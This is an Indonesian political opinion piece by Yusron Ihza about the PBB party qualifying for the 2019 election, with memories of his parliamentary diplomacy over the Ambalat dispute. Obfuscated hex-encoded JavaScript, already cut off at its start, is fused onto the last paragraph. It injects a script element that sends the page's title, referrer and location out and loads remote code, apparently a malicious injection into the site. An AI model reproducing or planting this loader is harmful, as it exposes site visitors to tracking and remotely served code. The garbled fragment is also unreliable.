“2 Kali Dizholimi, 2 Kali Pula PBB Lolos Peserta Pemilu”

Oleh: Dr. Yusron Ihza

ACARA Penetapan Partai Bulan Bintang (PBB) Sebagai Partai Peserta Pemilu Tahun 2019 oleh KPU, Selasa (6/3/18) malam, mengingatkan pada peristiwa jelang Pemilu 2014 lalu.

Berkaca dengan kejadian saat ini, yaitu jelang Pemilu 2019 nanti, berarti sudah dua kali kami dizalimi (2014 & 2019), tapi Alhamdulillah, dua kali pula kami berhasil keluar dari penzaliman itu.

Kini saatnya bagi PBB, untuk berjuang habis-habisan, agar kemenangan kami melawan penzaliman oleh KPU ini, tidak menjadi sia-sia.

Target minimal kami adalah ai???Menghadirkan Kembali PBB di Senayan!”.

Untuk ini, saya memohon dukungan kepada para sahabat semua, agar PBB bisa hadir kembali di Senayan. Karena PBB perlu sekitar 8 juta suara, alias sekitar 4%.

Indah rasanya, ketika mengenang saat-saat PBB masih bisa hadir di Senayan, beberapa tahun lalu. Saat itu, PBB ikut mewarnai gegap gempitanya politik negeri ini. Terutama kala itu, dalam kaitan saya secara pribadi sebagai Anggota DPR RI dari PBB, adalah dalam gegap gempitanya pentas diplomasi dan pertahanan.

Mungkin diantara kita semua, saat itu masih ada yang ingat kasus Blok Ambalat? Terutama, saat kapal-kapal perang kita sudah saling berhadapan dengan kapal-kapal perang negara tetangga.

Sebagai Deputi Komisi I Bidang Pertahanan DPR, kala itu saya harus berada pada posisi terdepan dalam Parliamentary Diplomacy, yang dijalankan DPR RI saat itu. Dan, peranan itu, telah saya ambil dan laksanakan dengan sebaik-baiknya.

Saya masih ingat, saat itu betapa panik dan gugupnya Zahid Hamidy (Menteri Pertahanan negeri tetangga), ketika menerima delegasi yang saya pimpin, di Kuala Lumpur.

Misi kami ke Kuala Lumpur saat itu, amat jelas. Yaitu, protes atas sikap dan prilaku negeri tetangga di Blok Ambalat, dimana kami menegaskan bahwa Blok Ambalat adalah bagian tak terpisahkan dari NKRI. Selain itu, kami juga meminta kapal-kapal perang negeri tetangga, agar menjauhi daerah sengketa.

Hmm… jika melihat figur (alias orang secara perorangan), ternyata nasib dan peruntungan masing-masing orang memang beda-beda ya? Berbeda dengan Zahid Hamidy, dimana karir Menteri Pertahanan negeri tetangga itu terus melonjak, namun sebaliknya dengan saya, yang justru terjungkal dari pentas politik nasional. Penyebabnya, karena PBB dikatakan KPU, kala itu, sebagai partai yang tidak lolos ambang batas pada Pemilu 2009.

Hmmm…kembali berkisah tentang Menteri Pertahanan negeri tetangga tadi, sekarang ini dia telah menjadi Wakil Perdana Menteri di negerinya.

Meski pada Tahun 2016 lalu, saat saya masih menjabat Duta Besar RI untuk Jepang, Wakil Perdana Menteri negeri tetangga tadi, sempat berkunjung ke Tokyo, lalu menemui sejumlah pejabat negeri itu. Saat itu, kami berencana untuk berjumpa sebagai teman, minimal sekedar untuk ngopi.

Sebagai Duta Besar RI untuk Jepang, sebenarnya posisi saya cukup terhormat, sehingga rasanya saya layak untuk bertemu seorang Wakil Perdana Menteri suatu negara. Keadaan tentu akan berbeda, jika saya dalam posisi sedang terjungkal atau terpuruk.

Namun sayang sekali, waktu yang kami miliki saling tidak cocok, sehingga rencana petemuan itu diurungkan.

Kembali ke PBB, partai ini memiliki banyak makna. Bagi saya pribadi, PBB adalah bagian dari hidup, karena menyangkut tentang suatu nilai kehormatan dan harga diri.

Karenanya, semoga saja kehormatan dan harga diri ini dapat terpulihkan, lalu semoga juga PBB dapat mewarnai kembali gegap gempitanya atas pentas politik, di negeri ini. 34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *